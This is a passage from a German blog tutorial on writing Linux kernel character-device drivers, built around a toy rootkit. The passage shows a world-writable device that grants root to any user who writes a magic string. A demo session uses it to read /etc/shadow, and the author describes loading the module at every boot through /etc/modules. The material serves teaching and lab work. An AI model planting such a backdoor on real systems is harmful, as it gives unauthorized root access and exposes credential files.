  wbsDevice = device_create(wbsClass, NULL /*parent*/, MKDEV(majorNumber, 0) /*dev_t*/, NULL /*drvdata*/, DEVICE_NAME);
  ...
}

Also, nochmal neu bauen, laden, und testen, indem wir versuchen, die /etc/shadow mal anzuschauen:

~$ ls -lah /dev/ttyWBS
crw-rw-rw- 1 root root 244, 0 Jun 18 22:39 /dev/ttyWBS

~$ id
uid=1000(unpriv) gid=1000(unpriv) groups=1000(unpriv)

~$ cat /etc/shadow
cat: /etc/shadow: Permission denied

~$ echo "rk:get-root" > /dev/ttyWBS
[ 1408.490194] Read 'rk:get-root'
[ 1408.493213] Elevating you to root

~$ id
uid=0(root) gid=0(root) groups=0(root),1000(unpriv)

~$ cat /etc/shadow
root:*:19478:0:99999:7:::
daemon:*:19478:0:99999:7:::
...

Nice! Damit haben wir quasi die Hauptfunktion des Rootkits fertig.

Auslesen der Anleitung über READ-Syscalls

Eine Sache fehlt noch. Wir haben die Read-Funktion noch nicht implementiert. Mir ist dafür auch nichts Besseres eingefallen, als dass man damit eine Anleitung für das Rootkit aus dem Character-Device auslesen kann (theretisch könnte man den Credential-Code aber auch hier wieder einbauen). Ich finde es aber trotzdem wichtig, das hier erwähnt zu haben, weil man hier tatsächlich den Offset-Parameter nutzen muss, dessen Existenz wir in der Write-Funktion einfach gekonnt ignoriert haben. Wen das hier nicht interessiert, kann das selbstverständlich auch skippen.

Unser Beispielbefehl soll cat /dev/ttyWBS sein. Damit soll man eine kleine Anleitung bekommen. Das Ganze müssen wir über die Read-Funktion der File-Operations implementieren, welche die folgende Signatur hat:

static ssize_t kmod_read(struct file *f, char *buf, size_t len, loff_t *off);

Wir haben auch hier den *f-Pointer, den wir wieder nicht brauchen. Der Buffer *buf ist diesmal leer, da wir hier unseren Output hinschreiben müssen. len gibt die Anzahl der Bytes an, die der lesende Part lesen möchte, denn diesmal gibt das der Leser an. Wer schonmal von einem Stream versucht hat Daten zu lesen, weiß das, denn den Buffer, in den man “hineinlesen” möchte, muss man immernoch selbst anlegen. *off ist der zu diesem Prinzip passende Zeiger auf das Dateioffset. Es gibt an, wo im Datenstrom der nächste Lesezugriff beginnen soll. Möchte cat also im ersten Anlauf 5000 Bytes lesen, ist *off im zweiten Anlauf beim 5001. Byte. So kann die Read-Funkion Schritt für Schritt die Buffer des Callers vollmachen, bis der gesamte Payload gelesen wurde. Gibt die Read-Funktion den Exit-Code 0 zurück, signalisiert das dem Caller, dass wir fertig sind mit schreiben.

Der Ablauf der Funktion muss also der folgende sein:

  1. Prüfen, ob der Offset *off über die Länge unseres zu schreibenden Strings hinaus geht
    • Wenn ja, gib 0 zurück → Caller hört auf zu lesen
  2. Prüfen, wie viele Bytes in diesem Run kopiert werden müssen
    • Wenn *off + len < READ_MSG_LEN, dann ist len intrinsisch korrekt
    • Wenn *off + len > READ_MSG_LEN, dann will der Caller mehr lesen, als wir haben – wir müssen also len anpassen, sodass wir nur noch “den Rest der Anleitung” schreiben
  3. Kopieren der Nachricht mit entsprechendem Offset
    • Mit READ_MSG + *off können wir den Pointer nach hinten verschieben
    • Wir kopieren exakt len Bytes
  4. Den Offset des Callers anpassen (um len inkrementieren), um dem Caller zu signalisiern, wie viel tatsächlich geschrieben wurde
  5. len returnen, um dem Caller Erfolg zu signalisieren

Die gesamte Read-Funktion sieht dann am Ende so aus (extra viele Grüße gehen übrigens raus an ChatGPT):

static ssize_t kmod_read(struct file *f, char *buf, size_t len, loff_t *off)
{
  if (*off >= READ_MSG_LEN) // check if beyond end of message
    return 0;

  if (*off + len > READ_MSG_LEN) // number of bytes to read
    len = READ_MSG_LEN - *off;

  if (copy_to_user(buf, READ_MSG + *off, len) != 0)
    return -EFAULT;

  *off += len; // update offset
  return (ssize_t)len;
}

So, jetzt sind wir mit den Grundlagen durch, die man zu einem Character-Device-Driver so wissen muss. Wir haben ein kleines Rootkit gebaut, welches man jetzt der File /etc/modules anhängen kann, damit es auch schön bei jedem Boot automatisch geladen wird!

Wie geht es weiter?

Kernel-Module können so viel mehr. Tatsächlich macht der Wurzelbausatz auch noch etwas mehr (Onboard-LED Sachen, Kernel-Threading, etc.). Das ist aber für das Thema des Blogs nicht so relevant. Wer den ganzen Code ansehen möchten, kann das hier gerne tun: https://git.leon.wtf/leon/wurzelbausatz/-/tree/blogpost-1 (die korrekte Implementierung von kmod_read ist etwas später in der Git-History).

Weitere Möglichkeiten, die ich hier jetzt nicht behandelt habe, umfassen das Folgende: Genauso, wie man die File-Operations im Character-Device implementieren kann, kann man auch das /proc Filesystem zur Interaktion verwenden. Über IOCTL kann man ebenfalls mit dem Modul interagieren. Man kann Startparameter definieren (die man dann mit insmod setzen und mit modinfo sehen kann), noch mehr mit den Minor-Nummern anstellen und eigentlich kann man schwarze Magie damit machen. Die Frage ist nur wie sinnvoll das wäre und ab wann man auch einfach eine User-Space-Applikation schreiben kann. Außerdem gibt es noch weitere interessante Build-Methoden wie “Dynamic Kernel Module Support” (DKMS), mit dem bei Wechsel der Kernelversion Module einfach dynamisch auf dem Gerät neu gebaut werden können. Gerade auf privat genutzten Linux-Rechnern ist das sehr komfortabel. DKMS-Varianten von Kernel-Modulen gibt es in fast jedem Paketmanager. Den Wurzelbausatz könnte man auch damit erweitern, aber das wäre zu viel für diesen Blogpost.

Eventuell schreibe ich noch einen weiteren Teil zum Wurzelbausatz, falls mir noch Use-Cases für die ganzen Funktionen einfallen oder ich vielleicht doch nochmal mehr mit DKMS arbeite. Ich hoffe jedenfalls, dass ich damit ein paar Einblicke in die Welt der Linux-Kernel-Module gewähren konnte (und eventuell dem ein oder anderen bei seinem Labor helfen konnte).


Referenzen